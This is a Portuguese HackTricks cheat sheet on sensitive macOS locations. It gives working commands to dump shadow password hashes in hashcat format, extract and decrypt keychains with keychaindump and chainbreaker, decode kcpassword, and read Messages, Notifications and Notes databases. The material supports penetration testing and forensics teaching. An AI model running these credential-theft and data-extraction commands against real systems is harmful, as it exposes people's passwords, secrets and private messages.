11 KiB
Locais Sensíveis do macOS
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Senhas
Senhas Shadow
A senha shadow é armazenada com a configuração do usuário em plists localizados em /var/db/dslocal/nodes/Default/users/
.
O seguinte oneliner pode ser usado para despejar todas as informações sobre os usuários (incluindo informações de hash):
{% code overflow="wrap" %}
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
{% endcode %}
Scripts like this one ou este podem ser usados para transformar o hash para o formato hashcat.
Uma alternativa em uma linha que irá despejar credenciais de todas as contas não de serviço no formato hashcat -m 7100
(macOS PBKDF2-SHA512):
{% code overflow="wrap" %}
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
Despejo do Keychain
Note que ao usar o binário security para despejar as senhas descriptografadas, várias solicitações serão feitas ao usuário para permitir essa operação.
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
Keychaindump
{% hint style="danger" %} Com base neste comentário juuso/keychaindump#10 (comment) parece que essas ferramentas não estão mais funcionando no Big Sur. {% endhint %}
Visão Geral do Keychaindump
Uma ferramenta chamada keychaindump foi desenvolvida para extrair senhas dos keychains do macOS, mas enfrenta limitações em versões mais recentes do macOS como o Big Sur, conforme indicado em uma discussão. O uso do keychaindump requer que o atacante obtenha acesso e escalone privilégios para root. A ferramenta explora o fato de que o keychain é desbloqueado por padrão após o login do usuário para conveniência, permitindo que aplicativos acessem sem exigir a senha do usuário repetidamente. No entanto, se um usuário optar por bloquear seu keychain após cada uso, o keychaindump se torna ineficaz.
O Keychaindump opera direcionando um processo específico chamado securityd, descrito pela Apple como um daemon para autorização e operações criptográficas, crucial para acessar o keychain. O processo de extração envolve a identificação de uma Chave Mestra derivada da senha de login do usuário. Essa chave é essencial para ler o arquivo do keychain. Para localizar a Chave Mestra, o keychaindump examina o heap de memória do securityd usando o comando vmmap
, procurando chaves potenciais em áreas marcadas como MALLOC_TINY
. O seguinte comando é usado para inspecionar essas localizações de memória:
sudo vmmap <securityd PID> | grep MALLOC_TINY
Após identificar possíveis chaves mestras, o keychaindump busca nos heaps por um padrão específico (0x0000000000000018
) que indica um candidato a chave mestra. Etapas adicionais, incluindo desobfuscação, são necessárias para utilizar essa chave, conforme descrito no código-fonte do keychaindump. Analistas que se concentram nessa área devem observar que os dados cruciais para descriptografar o chaveiro são armazenados na memória do processo securityd. Um exemplo de comando para executar o keychaindump é:
sudo ./keychaindump
chainbreaker
Chainbreaker pode ser usado para extrair os seguintes tipos de informações de um keychain do OSX de maneira forense:
- Senha do Keychain em formato hash, adequada para quebra com hashcat ou John the Ripper
- Senhas de Internet
- Senhas Genéricas
- Chaves Privadas
- Chaves Públicas
- Certificados X509
- Notas Seguras
- Senhas do Appleshare
Com a senha de desbloqueio do keychain, uma chave mestra obtida usando volafox ou volatility, ou um arquivo de desbloqueio como SystemKey, o Chainbreaker também fornecerá senhas em texto simples.
Sem um desses métodos para desbloquear o Keychain, o Chainbreaker exibirá todas as outras informações disponíveis.
Dump keychain keys
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
Despejar chaves do chaveiro (com senhas) com SystemKey
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
Despejar chaves do chaveiro (com senhas) quebrando o hash
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
Despejar chaves do chaveiro (com senhas) com despejo de memória
Siga esses passos para realizar um despejo de memória
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
Despejar chaves do chaveiro (com senhas) usando a senha do usuário
Se você conhece a senha do usuário, pode usá-la para despejar e descriptografar os chaveiros pertencentes ao usuário.
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
kcpassword
O arquivo kcpassword é um arquivo que armazena a senha de login do usuário, mas apenas se o proprietário do sistema tiver habilitado o login automático. Portanto, o usuário será automaticamente conectado sem ser solicitado a inserir uma senha (o que não é muito seguro).
A senha é armazenada no arquivo /etc/kcpassword
xorada com a chave 0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F
. Se a senha do usuário for mais longa do que a chave, a chave será reutilizada.
Isso torna a senha bastante fácil de recuperar, por exemplo, usando scripts como este.
Informações Interessantes em Bancos de Dados
Mensagens
sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
Notificações
Você pode encontrar os dados de Notificações em $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
A maior parte das informações interessantes estará no blob. Portanto, você precisará extrair esse conteúdo e transformá-lo em algo legível para humanos ou usar strings
. Para acessá-lo, você pode fazer:
{% code overflow="wrap" %}
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
{% endcode %}
Notas
As notas dos usuários podem ser encontradas em ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite
{% code overflow="wrap" %}
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done
{% endcode %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.